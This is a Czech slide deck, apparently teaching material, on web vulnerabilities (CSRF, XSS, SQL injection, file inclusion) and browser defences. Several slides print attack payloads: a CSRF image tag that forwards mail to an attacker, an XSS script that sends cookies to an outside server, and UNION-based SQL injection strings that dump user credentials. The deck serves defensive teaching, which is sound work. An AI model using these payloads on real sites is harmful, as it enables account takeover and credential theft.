![Page 1: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/1.jpg)
Zranitelnosti webových aplikací
Vlastimil Pečínka, Seznam.czRoman Kümmel, Soom.cz
![Page 2: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/2.jpg)
Terminologie
• Zranitelnost (vulnerability)– Slabina, která umožní utočníkovi snížit/obejít
ochranu dat a informací– Security bug je užší vnímání zranitelnosti; existují
non-SW zranitelnosti (HW, zaměstnanci, …)non-SW zranitelnosti (HW, zaměstnanci, …)
• Exploit– V informatice program nebo sekvence příkazů, které
využívají zranitelnosti a umožňují tak získat nějaký prospěch
![Page 3: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/3.jpg)
Webové zranitelnosti
XSSCross-site scripting
Využití d ůvěry uživatele v server
CSRFCross-site request forgery
Využití d ůvěry serveru v software uživatele
![Page 4: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/4.jpg)
Webové zranitelnosti
HTTP header injection
Využití vlastností HTTP protokolu v kombinaci s neošet řeným p ředávaným vstupem od uživatele v vstupem od uživatele v hlavi čkách
SQL injectionVyužití mezery v zabezpe čení na
úrovni databázové vrstvy aplikace
![Page 5: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/5.jpg)
CSRF
Svět webových zranitelností
Prom ěnnáCSS Flash
SQLiRFI LFI
CRLF
FPD
CSRF
Persistent
XSS
Non-Persistent
DOM based
SQL injection
HTTP injection
Same originpolicy
NOSCRIPT
Contentsecuritypolicy
HTTP only cookies
IE XSS filter
![Page 6: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/6.jpg)
Praktická ukázka
Roman KümmelRoman Kümmelhttp://www.soom.cz
![Page 7: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/7.jpg)
Praktická ukázka
Zranitelná webová aplikace
![Page 8: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/8.jpg)
Cross Site Request Forgery (CSRF)
• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem
• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve
svém vlastním účtu
http://webmail.cz/[email protected]
![Page 9: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/9.jpg)
Cross Site Request Forgery (CSRF)
• Nikdo střízlivý nedá vědomě serveru povel na přesměrování pošty na účet útočníka
• Cílem útočníka je přimět uživatele k jeho odeslání
http://webmail.cz/[email protected]
![Page 10: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/10.jpg)
Nazdar Pepo,nechceš zítra zajít na pivo?
Lojza
Útok (CSRF)
Lojza
<img src=“http://webmail.cz/[email protected] “>
http://webmail.cz/[email protected]
![Page 11: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/11.jpg)
Útok (CSRF)
X
![Page 12: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/12.jpg)
Obrana (CSRF)
• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem
• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve
svém vlastním účtu
[email protected]&hash=a5dd78e
hash=a5dd78e
![Page 13: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/13.jpg)
CSRF : XSS
• Zjištění hodnoty lístku pomocí XSS
![Page 14: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/14.jpg)
Cross Site Scripting (XSS)
• Skripty mohou přistupovat pouze k objektům ze stejné domény ( Same Origin Policy )
• Pokud existuje chyba v zabezpečení, je možné injektovat skript do html dokumentu z dané domény
– Perzistentní (trvalé)– Non-perzistentní (reflektované)
![Page 15: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/15.jpg)
Non-perzistetní XSS
• Odeslání požadavku webovým vyhledávačem
http://webmail.cz/search.php?query=slunce
• Odpověď vrácená prohlížečem
Na váš dotaz slunce nebyl nalezen žádný výsledek
![Page 16: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/16.jpg)
Non-perzistetní XSS
• Odeslání požadavku webovým vyhledávačem
http://webmail.cz/search.php?query=<script>alert(1)</script>
• Zobrazení odpovědi vede ke spuštění skriptu
Na váš dotaz <script>alert(1)</script> nebyl nazezen žádný výsledek
![Page 17: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/17.jpg)
Možné cíle útoku (XSS)
• Krádež cookies• Přesměrování uživatelů na jiné webové stránky• Defacement webové stránky• Automatické odesílání CSRF požadavků• Automatické odesílání CSRF požadavků• Změna atributu action u přihlašovacích formulářů• Odposlouchávání stisknutých kláves• Průzkum vnitřní sítě• Backdoor s obousměrnou komunikací• Mnoho dalších variant útoku
![Page 18: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/18.jpg)
Nazdar Pepo,nechceš zítra zajít na pivo?
Lojza
<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3D
Cookie stealing (XSS)
<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3Ddocument.createElement%28%22img%22%29%3B+i.src%3D%22http%3A%2F%2Fmyserver.cz%3Fsavecook%3D%22%252Bdocument.cookie%3B%3C%2Fscript%3E‘>Super odkaz </a>
<script>i=document.createElement("img");i.src=http://myserver.cz?savecook=+document.cookie;
</script>
![Page 19: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/19.jpg)
Cookie stealing (XSS)
![Page 20: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/20.jpg)
Obrana (XSS)
• Nahrazení nebezpečných znaků HTML entitami
< ≶ > > “ " ‘ ' & &
• Nebezpečnost znaků záleží na kontextu v jakém jsou použity- <p>Toto je tvůj vstup: <script>alert(1)</script></p>- <input type=“text“ value=““ onfocus=“alert(1)“>
• Pozor na Javascript: a Data: URL v odkazech- <a href=“javascript:alert(1)“>odkaz</a>
![Page 21: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/21.jpg)
Obrana (XSS)
• Uživatelský vstup kontrolovat podle bílých seznamů
Co není povoleno, je zakázáno !
![Page 22: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/22.jpg)
SQL injection
Zmanipulování dotazu do databáze
SELECT jablka FROM stromSELECT jablka FROM strom
SELECT hrušky FROM obchod
![Page 23: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/23.jpg)
SQL injection
pepa
pass123
$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);
SELECT * FROM users WHERE (login = 'pepa ') and (heslo = 'pass123 ')
PH
PS
QL
pepa
![Page 24: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/24.jpg)
Útok SQL injection
pepa
' OR '1' = '1
pepa
$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);
SELECT * FROM users WHERE (login = 'pepa ') and (heslo = '' OR '1' = '1 ')
PH
PS
QL
![Page 25: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/25.jpg)
SQL injectionP
HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";
$res = mysql_query($sql);
SELECT * FROM messages WHERE idprijemce = 11614
PH
PS
QL
![Page 26: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/26.jpg)
Útok SQL injectionP
HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";
$res = mysql_query($sql);
SELECT * FROM messages WHERE idprijemce = -1 or 1=1
PH
PS
QL
![Page 27: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/27.jpg)
• Zjištění počtu sloupců tabulky v původním dotazu
• Zjištění zobrazených polí
• Zjištění názvu databáze
Útok SQL injection
iduser=-1 union all select 1,2,3,4—
• Zjištění názvů tabulek a sloupců
• Výpis obsahu tabulky USERSiduser=-1 union all select 1,nick,login,heslo from users--
iduser=-1 union all select 1,2,3,database()—
iduser=-1 union all select 1,2,table_name,column_namefrom information_schema.columnswhere table_schema=database()—
SELECT *FROM messagesWHERE idprijemce = -1 order by 1 --
![Page 28: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/28.jpg)
Obrana proti SQL injection
• Kontrola vstupu– Odstranění, zdvojení nebo escapování apostrofů– Číselné hodnoty ošetřit typovou konverzí– Výčtové vstupy kontrolovat na očekávané hodnoty– Výčtové vstupy kontrolovat na očekávané hodnoty– Využití parametrizovaných SQL dotazů– Využití uložených procedur
![Page 29: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/29.jpg)
Injektáž skriptu na server
• Nezabezpečený upload
• Local File Inclusion (LFI)• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
![Page 30: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/30.jpg)
(ne) bezpečný Internet
![Page 31: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/31.jpg)
Pomocníci v zabezpe čení
• Content Security Policy• Same origin policy• XSS filter v IE• HTTPonly cookies• HTTPonly cookies
![Page 32: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/32.jpg)
Content security policy
• Pravidla zaměřená na potlačení především XSS• CSP umožňuje poskytovatelům definovat
pravidla, kterými se prohlížeč řídí• Pravidla se pro dokument v HTTP hlavičkách• Pravidla se pro dokument v HTTP hlavičkách• Možnost reportingu při porušení pravidel
– Browser „bonzuje“ pomocí JSON, co se stalo– Report-only mode (what-if scénáře)
X-Content-Security-Policy: allow 'self'; img-src *; \object-src media1.com media2.com *.cdn.com; \script-src trustedscripts.example.com
![Page 33: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/33.jpg)
Same origin policy
• Koncept známý od doby Netscape Navigator 2.0• Pravidla povolují plný přístupu skriptů k funkcím
a proměnným ve stránkách ze stejných zdrojů (a naopak limitují přístup k datům jiných zdrojů)– Jiný hostname (i www.seznam.cz vs seznam.cz)– Jiný port (http://lide.cz vs http://lide.cz:81)– Jiný protokol (https://email.cz vs https://email.cz)
• Nejasně definované pro file:, data:, …• Jiné policy např. pro skripty z jiných domén
![Page 34: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/34.jpg)
IE XSS filter
• Vlastnost IE8, která ztěžuje tzv. reflected XSS• Filtr je komponenta, která je zapojena do všech
požadavků, které tečou skrze prohlížeč– Snaží se detekovat XSS a případně neutralizovat– Snaží se detekovat XSS a případně neutralizovat
![Page 35: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní](https://reader035.vdocuments.site/reader035/viewer/2022081410/608f02a114dbe60a8d305cc7/html5/thumbnails/35.jpg)
HTTPonly cookie
• Stále ve stádiu „draftu“ IETF, nicméně široce podporované v prohlížečích
• Cookie, které není přístupná skriptům na stránce, jen použita pro HTTP/HTTPS session
• Často použita v kombinaci s omezením přenášení po zabezpečeném spojení
Set-Cookie: SSID=Adsd4ddssTq; Domain=.seznam.cz; Pa th=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly